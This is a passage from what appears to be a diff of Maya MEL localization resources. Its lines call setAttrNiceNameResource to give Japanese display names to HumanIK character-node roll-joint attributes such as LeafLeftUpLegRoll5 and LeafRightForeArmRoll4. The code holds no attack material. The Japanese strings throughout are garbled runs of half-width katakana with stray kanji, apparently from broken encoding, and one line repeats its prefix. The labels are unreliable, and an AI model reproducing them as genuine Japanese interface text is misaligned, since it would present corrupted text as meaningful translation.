"HIKCharacterNode", "LeafRightForeArmRoll4RotateAxisz", "メカモメヌーアロイ犹 4 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4JointOrient", "メカモメヌーアロイ犹 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4JointOrientx", "メカモメヌーアロイ犹 4 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4JointOrienty", "メカモメヌーアロイ犹 4 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4JointOrientz", "メカモメヌーアロイ犹 4 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimit", "メカモメヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitx", "メカモメヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimity", "メカモメヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitz", "メカモメヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimit", "メカモメヌーアロイ犹 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitx", "メカモメヌーアロイ犹 4 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimity", "メカモメヌーアロイ犹 4 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitz", "メカモメヌーアロイ犹 4 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitEnablex", "ニモテメカモメヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitEnabley", "ニモテメカモメヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MinRLimitEnablez", "ニモテメカモメヌーアロイ犹 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitEnablex", "ニモテメカモメヌーアロイ犹 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitEnabley", "ニモテメカモメヌーアロイ犹 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll4MaxRLimitEnablez", "ニモテメカモメヌーアロイ犹 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5", "メカラエヘネイ犹 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5T", "メカラエヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Tx", "メカラエヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Ty", "メカラエヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Tz", "メカラエヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5R", "メカラエヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Rx", "メカラエヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Ry", "メカラエヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Rz", "メカラエヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5S", "メカラエヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Sx", "メカラエヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Sy", "メカラエヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5Sz", "メカラエヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", "メカラエヘネイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateAxis", "メカラエヘネイ犹 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateAxisx", "メカラエヘネイ犹 5 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateAxisy", "メカラエヘネイ犹 5 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateAxisz", "メカラエヘネイ犹 5 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5JointOrient", "メカラエヘネイ犹 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5JointOrientx", "メカラエヘネイ犹 5 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5JointOrienty", "メカラエヘネイ犹 5 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5JointOrientz", "メカラエヘネイ犹 5 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimit", "メカラエヘネイ犹 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitx", "メカラエヘネイ犹 5 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimity", "メカラエヘネイ犹 5 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitz", "メカラエヘネイ犹 5 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimit", "メカラエヘネイ犹 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitx", "メカラエヘネイ犹 5 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimity", "メカラエヘネイ犹 5 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitz", "メカラエヘネイ犹 5 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitEnablex", "ニモテメカラエヘネイ犹 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitEnabley", "ニモテメカラエヘネイ犹 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MinRLimitEnablez", "ニモテメカラエヘネイ犹 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitEnablex", "ニモテメカラエヘネイ犹 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitEnabley", "ニモテメカラエヘネイ犹 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll5MaxRLimitEnablez", "ニモテメカラエヘネイ犹 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5", "メカラヘネイ犹 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5T", "メカラヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Tx", "メカラヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Ty", "メカラヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Tz", "メカラヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5R", "メカラヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Rx", "メカラヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Ry", "メカラヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Rz", "メカラヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5S", "メカラヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Sx", "メカラヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Sy", "メカラヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5Sz", "メカラヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", "メカラヘネイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateAxis", "メカラヘネイ犹 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateAxisx", "メカラヘネイ犹 5 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateAxisy", "メカラヘネイ犹 5 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateAxisz", "メカラヘネイ犹 5 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5JointOrient", "メカラヘネイ犹 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5JointOrientx", "メカラヘネイ犹 5 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5JointOrienty", "メカラヘネイ犹 5 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5JointOrientz", "メカラヘネイ犹 5 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimit", "メカラヘネイ犹 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitx", "メカラヘネイ犹 5 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimity", "メカラヘネイ犹 5 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitz", "メカラヘネイ犹 5 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimit", "メカラヘネイ犹 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitx", "メカラヘネイ犹 5 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimity", "メカラヘネイ犹 5 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitz", "メカラヘネイ犹 5 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitEnablex", "ニモテメカラヘネイ犹 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitEnabley", "ニモテメカラヘネイ犹 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MinRLimitEnablez", "ニモテメカラヘネイ犹 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitEnablex", "ニモテメカラヘネイ犹 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitEnabley", "ニモテメカラヘネイ犹 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll5MaxRLimitEnablez", "ニモテメカラヘネイ犹 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5", "メカモメエヘネイ犹 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5T", "メカモメエヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Tx", "メカモメエヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Ty", "メカモメエヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Tz", "メカモメエヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5R", "メカモメエヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Rx", "メカモメエヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Ry", "メカモメエヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Rz", "メカモメエヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5S", "メカモメエヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Sx", "メカモメエヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Sy", "メカモメエヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5Sz", "メカモメエヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", "メカモメエヘネイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateAxis", "メカモメエヘネイ犹 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateAxisx", "メカモメエヘネイ犹 5 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateAxisy", "メカモメエヘネイ犹 5 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateAxisz", "メカモメエヘネイ犹 5 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5JointOrient", "メカモメエヘネイ犹 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5JointOrientx", "メカモメエヘネイ犹 5 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5JointOrienty", "メカモメエヘネイ犹 5 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5JointOrientz", "メカモメエヘネイ犹 5 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimit", "メカモメエヘネイ犹 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitx", "メカモメエヘネイ犹 5 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimity", "メカモメエヘネイ犹 5 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitz", "メカモメエヘネイ犹 5 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimit", "メカモメエヘネイ犹 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitx", "メカモメエヘネイ犹 5 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimity", "メカモメエヘネイ犹 5 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitz", "メカモメエヘネイ犹 5 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitEnablex", "ニモテメカモメエヘネイ犹 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitEnabley", "ニモテメカモメエヘネイ犹 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MinRLimitEnablez", "ニモテメカモメエヘネイ犹 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitEnablex", "ニモテメカモメエヘネイ犹 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitEnabley", "ニモテメカモメエヘネイ犹 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll5MaxRLimitEnablez", "ニモテメカモメエヘネイ犹 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5", "メカモメヘネイ犹 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5T", "メカモメヘネイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Tx", "メカモメヘネイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Ty", "メカモメヘネイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Tz", "メカモメヘネイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5R", "メカモメヘネイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Rx", "メカモメヘネイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Ry", "メカモメヘネイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Rz", "メカモメヘネイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5S", "メカモメヘネイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Sx", "メカモメヘネイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Sy", "メカモメヘネイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5Sz", "メカモメヘネイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", "メカモメヘネイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateAxis", "メカモメヘネイ犹 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateAxisx", "メカモメヘネイ犹 5 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateAxisy", "メカモメヘネイ犹 5 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5RotateAxisz", "メカモメヘネイ犹 5 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5JointOrient", "メカモメヘネイ犹 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5JointOrientx", "メカモメヘネイ犹 5 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5JointOrienty", "メカモメヘネイ犹 5 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5JointOrientz", "メカモメヘネイ犹 5 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimit", "メカモメヘネイ犹 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitx", "メカモメヘネイ犹 5 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimity", "メカモメヘネイ犹 5 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitz", "メカモメヘネイ犹 5 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimit", "メカモメヘネイ犹 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitx", "メカモメヘネイ犹 5 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimity", "メカモメヘネイ犹 5 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitz", "メカモメヘネイ犹 5 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitEnablex", "ニモテメカモメヘネイ犹 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitEnabley", "ニモテメカモメヘネイ犹 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MinRLimitEnablez", "ニモテメカモメヘネイ犹 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitEnablex", "ニモテメカモメヘネイ犹 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitEnabley", "ニモテメカモメヘネイ犹 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll5MaxRLimitEnablez", "ニモテメカモメヘネイ犹 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5", "メカラアロイ犹 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5T", "メカラアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Tx", "メカラアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Ty", "メカラアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Tz", "メカラアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5R", "メカラアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Rx", "メカラアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Ry", "メカラアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Rz", "メカラアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5S", "メカラアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Sx", "メカラアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Sy", "メカラアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5Sz", "メカラアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", "メカラアロイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateAxis", "メカラアロイ犹 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateAxisx", "メカラアロイ犹 5 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateAxisy", "メカラアロイ犹 5 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateAxisz", "メカラアロイ犹 5 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5JointOrient", "メカラアロイ犹 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5JointOrientx", "メカラアロイ犹 5 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5JointOrienty", "メカラアロイ犹 5 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5JointOrientz", "メカラアロイ犹 5 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimit", "メカラアロイ犹 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitx", "メカラアロイ犹 5 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimity", "メカラアロイ犹 5 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitz", "メカラアロイ犹 5 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimit", "メカラアロイ犹 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitx", "メカラアロイ犹 5 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimity", "メカラアロイ犹 5 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitz", "メカラアロイ犹 5 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitEnablex", "ニモテメカラアロイ犹 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitEnabley", "ニモテメカラアロイ犹 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MinRLimitEnablez", "ニモテメカラアロイ犹 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitEnablex", "ニモテメカラアロイ犹 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitEnabley", "ニモテメカラアロイ犹 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll5MaxRLimitEnablez", "ニモテニモテメカラアロイ犹 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5", "メカラヌーアロイ犹 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5T", "メカラヌーアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Tx", "メカラヌーアロイ犹 5 